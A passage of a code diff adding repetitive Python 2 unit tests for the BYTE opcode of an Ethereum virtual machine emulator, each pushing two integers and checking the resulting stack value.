+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [255L])
+
+    def test_BYTE_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [8L])
+
+    def test_BYTE_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
